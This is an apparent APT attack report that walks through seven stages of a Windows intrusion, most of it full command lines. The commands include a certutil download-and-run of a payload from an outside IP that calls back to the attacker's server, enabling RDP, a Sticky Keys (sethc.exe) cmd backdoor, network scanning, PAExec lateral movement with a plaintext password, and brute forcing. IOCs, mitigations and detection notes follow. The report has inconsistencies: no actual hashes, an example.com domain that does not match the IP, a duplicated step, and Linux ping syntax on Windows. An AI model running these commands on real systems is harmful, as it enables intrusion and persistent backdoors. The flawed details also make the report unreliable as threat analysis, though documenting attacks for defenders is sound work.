APT Attack Report: Example Attack

1. Initial Compromise

- **Command**: `whoami&arp -a&ipconfig&ping www.baidu.com -c 1`
- **Description**: The attacker gathers basic system and network information. Commands executed:
  - `whoami`: Identifies the current user.
  - `arp -a`: Lists the ARP table for network discovery.
  - `ipconfig`: Displays network configuration details.
  - `ping www.baidu.com -c 1`: Tests connectivity to an external site.

2. Establish Foothold

- **Command**: `taskkill /f /im agent.exe&certutil -urlcache -split -f http://124.223.85.207:8079/sangforcat.exe C:\\Users\\Public\\agent.exe&cmd /c start /min C:\\Users\\Public\\agent.exe -opid 2f9c7075-ec33-4a29-901a-8e383f395763 -server https://124.223.85.207:8443`
- **Description**:
  - **Terminate Existing Processes**: Uses `taskkill` to stop `agent.exe` if it is running.
  - **Deploy Malicious Payload**: Downloads a malicious executable (`sangforcat.exe`) from a remote server and saves it as `agent.exe` in the public folder.
  - **Execute Malicious Payload**: Starts the downloaded executable with specific parameters to connect to the attacker's server.

3. Escalate Privilege

- **Command**: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f;netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389;reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server";REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f ; REG query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"`
- **Description**:
  - **Enable Remote Desktop**: Modifies the registry to allow Remote Desktop connections and creates a firewall rule to permit traffic on port 3389.
  - **Privilege Escalation**: Configures `sethc.exe` to launch `cmd.exe` with elevated privileges when Sticky Keys are triggered, allowing for potential elevation of privileges.

4. Internal Reconnaissance

- **Command**: `nbtscan.exe 192.168.0.244/24`

- **Description**: Conducts a network scan within the IP range `192.168.0.244/24` to discover NetBIOS resources, such as shared folders or devices, for further exploitation.

5. Move Laterally

- **Command**: `PAExec.exe \\192.168.0.244 -u administrator -p Data123456! ipconfig`
- **Description**: Utilizes `PAExec` to execute the `ipconfig` command remotely on the machine at `192.168.0.244` using the administrator credentials (`Data123456!`). This command gathers network configuration details from another machine in the network.

6. Maintain Persistence

- **Command**: `WinBrute.exe administrator_pass.txt administrator`
- **Description**: Performs a brute force attack with `WinBrute` to crack the administrator password using a password list (`administrator_pass.txt`). Successful cracking of the password helps maintain long-term access and persistence.

7. Complete Mission

- **Command**: `PAExec.exe \\192.168.0.244 -u administrator -p Data123456! ipconfig`
- **Description**: Reuses the remote execution capabilities to perform tasks like gathering system information or further configuration changes to complete the mission objectives. This might involve extracting data, establishing more robust control, or preparing for exfiltration.

Indicators of Compromise

- **Malicious File Hashes**:
  - `sangforcat.exe` (downloaded from `http://124.223.85.207:8079/`)
- **IP Addresses**:
  - `124.223.85.207` (malicious server)
  - `192.168.0.244` (target machine)
- **Domains**:
  - `example.com` (used for downloading malicious files)

Mitigations

- **Implement Network Monitoring**: Detect and alert on unusual outbound connections and file downloads.
- **Restrict Remote Desktop Access**: Configure firewalls to limit Remote Desktop access and disable unnecessary ports.
- **Strengthen Password Policies**: Enforce strong, complex passwords and consider multi-factor authentication to prevent brute-force attacks.

Detection

- **Monitor Registry Changes**: Set up alerts for changes to registry keys related to Remote Desktop and debugging settings.
- **Alert on Unusual Network Scanning**: Monitor and investigate unexpected network scanning activities.

References

- MITRE ATT&CK Techniques
- Example Attack Analysis